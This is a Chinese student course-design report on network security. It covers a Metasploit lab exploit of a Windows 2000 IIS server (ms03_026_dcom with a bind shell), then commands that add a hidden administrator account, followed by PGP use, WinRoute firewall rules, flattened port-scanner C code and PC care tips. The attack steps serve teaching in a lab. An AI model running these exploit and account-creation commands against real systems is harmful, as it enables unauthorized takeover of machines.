网络安全课程设计

1、一、目的网络安全是网络工程专业核心专业课程，是理论与实践并重的课程。本课程设计目的是在网络安全课程基础上，熟悉网络安全的架构方法，达到熟练分析网络隐患的技能，能够利用所学的基本知识和技能，解决常见的安全隐患，并设计出相对安全的网络系统规则。要求学生运用所学的网络安全基本知识、基本原理和技能，根据需求完成网络环境的选择与配置，对网络攻防进行验证和设计，培养学生对网络安全技术的应用能力，增强网络安全意识。二、需求分析在本次课程设计中，要求能够利用metasploit攻击一台装有IIS5.0的WINDOWS 2000服务器，获得其控制权，并且在其上面建立超级用户；使用PGP加密文件、加密邮件；利用W

2、inRoute对你的主机设置禁用ping探测、禁用FTP访问及禁用HTTP访问；并且实现对端口的扫描。三、总体设计1）利用metasploit攻击一台装有IIS5.0的WINDOWS 2000服务器，获得其控制权，并且在其上面建立超级用户，写出整个实施过程。 1、安装metasploit软件，安装完成后打开软件的控制台窗口 2、在窗口控制台界面输入命令“info exploit/windows/dcerpc/ms03_026_dcom”以了解该命令的用法 3、输入命令“use exploit/windows/dcerpc/ms03_026_dcom”使用该程序 4、输入命令“set rhost

3、 目的主机ip地址” 5、输入命令“set PAYLOAD generic/shell_bind_tcp”加载运行程序需要的shellcode 6、输入命令“exploit”执行 7、现在已经进入了目的主机的dos控制界面，输入命令“net user 用户名 密码 / add”添加用户 输入命令“net localgroup 用户名 /add”将用户添加到管理员组2）使用PGP 加密文件、加密邮件，写出详细的实施过程。 1、安装pgp软件，在安装中选中“NO，im a New User”然后“next”至电脑重启2、由于是第一次安装运行该软件，电脑重启后该软件会自动提示你建立PGP密钥3、 点

4、击按钮“下一步”，在用户信息对话框中输入相应的姓名和电子邮件地址4、 在PGP密码输入框中输入8位以上的密码并确认，然后PGP会自动产生PGP密钥5、 使用PGP可以加密本地文件，右击要加密的文件，选择PGP菜单项的菜单“Encrypt”6、 系统自动出现对话框，让用户选择要使用的加密密钥，选中一个密钥，点击按钮“OK”7、 加密邮件：打开outlook，利用Outlook建立邮件，可以选择利用PGP进行加密和签名3）利用WinRoute对你的主机设置禁用ping探测、禁用FTP访问及禁用HTTP访问，写出详细的实施过程 1、安装winroute软件，安装完成后。以管理员身份运行该软件，初始密

5、码为空2、该软件运行后，主机将不能上网，点击工具栏图标，出现本地网络设置对话框，然后查看“Ethernet”的属性，将两个复选框全部选中3、开始创建规则：选择菜单项“Packet Filter”，选中网卡，右击创建新规则，出现过滤规则添加对话框4、因为“Ping”指令用的协议是ICMP，所以这里要对ICMP协议设置过滤规则。在协议下拉列表中选择“ICMP”5、在“ICMP Type”栏目中，将复选框全部选中。在“Action”栏目中，选择单选框“Drop”。在“Log Packet”栏目中选中“Log into Window”，创建完毕后点击按钮“OK”，一条规则就创建完毕6、在物理机上“pi

6、ng”虚拟机后，再选择菜单栏“View”下的菜单项“LogsSecurity Logs”，察看日志纪录7、FTP服务用TCP协议， FTP占用TCP的21端口，配置如下：8. HTTP服务用TCP协议，占用TCP协议的80端口，配置如下：9、完成后在物理机用浏览器访问虚拟机，查看日志记录： 4）实现端口扫描的程序可以使用TCP协议和UDP协议，原理是通过Socket连接对方的计算机的某端口，试图和该端口建立连接，如果建立成功，就说明对方开放了该端口，如果失败了，就说明对方没有开放该端口，利用UDP协议实现端口扫描（写出程序代码）。#include #include #include #incl

7、ude #defineBUFSIZE 64#defineWSVERSMAKEWORD(2, 0)#defineWINEPOCH2208988800#defineMSGIs this port you open?n#define MAX_PACKET 1024SOCKET connectsock(const char *host, const char *service, const char *transport );voiderrexit(const char *, .);int main(int argc, char *argv)char*host = localhost;/* host

8、to use if none supplied*/char*service = 5060;/* default service name*/SOCKETs; /* socket descriptor*/int errcnt = 0;/* error count */WSADATAwsadata;switch (argc) case 1:break;case 3:service = argv2;/* FALL THROUGH */case 2:host = argv1;break;default:fprintf(stderr, usage: file1.exe host portn);exit(

9、1);if (WSAStartup(WSVERS, &wsadata)errexit(WSAStartup failedn);s = connectsock(host, service, tcp); (void) send(s, MSG, strlen(MSG), 0);closesocket(s);WSACleanup();return 1;#ifndefINADDR_NONE#defineINADDR_NONE0xffffffff#endif/* INADDR_NONE */*-* connectsock - allocate & connect a socket using TCP or

10、 UDP*-*/SOCKET connectsock(const char *host, const char *service, const char *transport )struct hostent*phe;/* pointer to host information entry*/struct servent*pse;/* pointer to service information entry*/struct protoent *ppe;/* pointer to protocol information entry*/struct sockaddr_in sin;/* an In

11、ternet endpoint address*/ints, type;/* socket descriptor and socket type*/memset(&sin, 0, sizeof(sin);sin.sin_family = AF_INET; /* Map service name to port number */if ( pse = getservbyname(service, transport) )sin.sin_port = pse-s_port;else if ( (sin.sin_port = htons(u_short)atoi(service) = 0 )erre

12、xit(cant get %s service entryn, service); /* Map host name to IP address, allowing for dotted decimal */if ( phe = gethostbyname(host) )memcpy(&sin.sin_addr, phe-h_addr, phe-h_length);else if ( (sin.sin_addr.s_addr = inet_addr(host) = INADDR_NONE)errexit(cant get %s host entryn, host); /* Map protoc

13、ol name to protocol number */if ( (ppe = getprotobyname(transport) = 0)errexit(cant get %s protocol entryn, transport); /* Use protocol to choose a socket type */if (strcmp(transport, udp) = 0)type = SOCK_DGRAM;elsetype = SOCK_STREAM; /* Allocate a socket */s = socket(PF_INET, type, ppe-p_proto);if

14、(s = INVALID_SOCKET)errexit(cant create socket: %dn, GetLastError(); /* Connect the socket */if (connect(s, (struct sockaddr *)&sin, sizeof(sin) =SOCKET_ERROR)errexit(cant connect to %s.%s: %dn, host, service,GetLastError();return s;void errexit(const char *format, .)va_listargs;va_start(args, forma

15、t);vfprintf(stderr, format, args);va_end(args);WSACleanup();exit(1);程序运行参数设置（在vc的project-settings菜单里的debug-programs arguments里设置）：第一次运行参数填： 自己虚拟机的IP地址第二次运行参数填： 自己虚拟机的IP地址 自己虚拟机的端口5）如何保护自己的个人电脑，应该从几个方面做起。硬件方面：1电脑应放置于整洁的房间内。灰尘几乎会对电脑的所有配件造成不良影响，从而缩短其使用寿命或影响其性能。 2电脑应摆放在宽敞的空间内，周围要保留散热空间，不要与其它杂物混放。 3电脑周围严

16、禁磁场。磁场会对显示器、磁盘等造成严重影响。音箱尽量不要置于显示器附近，不要将磁盘放置于音箱之上。 4不要在电脑桌上放置茶杯，更不能将其置于主机、显示器、键盘之上，一旦水洒，后果严重。 5电脑工作时不要搬动主机箱或使其受到冲击震动，对于硬盘来讲这是非常危险的动作。 6硬盘读盘时不可以突然关机或断电。如果电压不稳或经常停电，您可以购买UPS来应对。 7环境干燥的情况下，应谨防静对电脑配件的影响。此时您若需直接接触电路板，请首先对自身放电（例如用手摸摸水管等）或采取其它绝缘措施（如：戴上接地手套）。 8不要对各种配件或接口在开机的状态下插拔（支持热插拔的设备除外），否则，可能会造成烧毁相关芯片或电

17、路板的严重后果。 9应定期对电源、光驱、软驱、机箱内部、显示器、键盘、鼠标等进行除尘。如果不便自行处理的话，可请专业人士来完成。但您应该知道显示器内有高压电路，不可鲁莽行事。 10不要用酒精或洗衣粉等擦拭显示器屏幕，如果有需要您可以用清水，但清水一定要吸附于纸巾或抹布之上，不可以让清水流进任何配件之内。 11不要频繁地开关机，且开关机每次应间隔片刻时间。 12机箱内不可以混入螺丝钉等导电体，否则极容易造成机箱内的板卡短路，产生严重后果。 13应妥善保管电脑各种板卡及外设的驱动光盘及说明书，尤其是主板说明书。 14不要连续长时间地使用光驱，如听歌、看影碟等。您可以将歌碟、影碟等拷到硬盘上来欣赏。

18、 15电脑在长时间没有使用的情况下，建议您定期开机运行一下，以便驱除其内的潮气软件方面古语有云：“知己知彼，百战不殆”维护自己的电脑的安全也是一场战争，这个时候你对自己的电脑越熟悉，你胜利的机会就越大。有的人电脑一年两年甚至更长时间系统都没有重装过，速度还是像原来一样快，一样的没有病毒的侵入。有的人三两头就中毒，中毒后还不知道怎么去干掉他，这中间有什么区别呢？其实我觉得并不是技术上的差别。只是个人使用电脑的习惯不同。1.对自己在自己的机器上安装有那些软件应该心中有数，当你打开“添加删除”列表的时候，对不是你安装上的软件一律干掉。2.经常用“msconfig”看看你的机器自动运行了那些软件，这个

19、常常是致使机器变慢的原因，有很多病毒特别是那些恶意软件，常常将自己放在这里，一般只需要留下“ctfmon”就可以了。3.了解一下电脑一般的进程，知道那些进程属于那些软件的。当电脑变慢时赶快看看进程列表里占用CPU或者内存比较大的进程，查查他是什么进程（一般都是病毒或者恶意软件的），如果是坏进程不仅仅是杀掉他，还要找出他的文件，找出他的注册表项全部干掉，注意：干这些东西的时候首先要杀掉他的进程，如果还是干不了的话，进入安全模式干掉他。4.熟悉一下自己的注册表项，这个难度比较大，而且搞不好会使自己的电脑无法正常运行了。但是你大可以删掉那些你已经删掉的软件的注册表项，什么3721，Yahoo全部干掉。5.经常看看你的浏览器的加载项，常常网上走，哪有不湿鞋。特别上那些恶意网站，他往往会向你的浏览器安装一些插件，这些插件会在加载项这里显示出来，你可以关掉你不用的所有插件，插件后面有公司名称，一般我只信任微软和Macromedia等公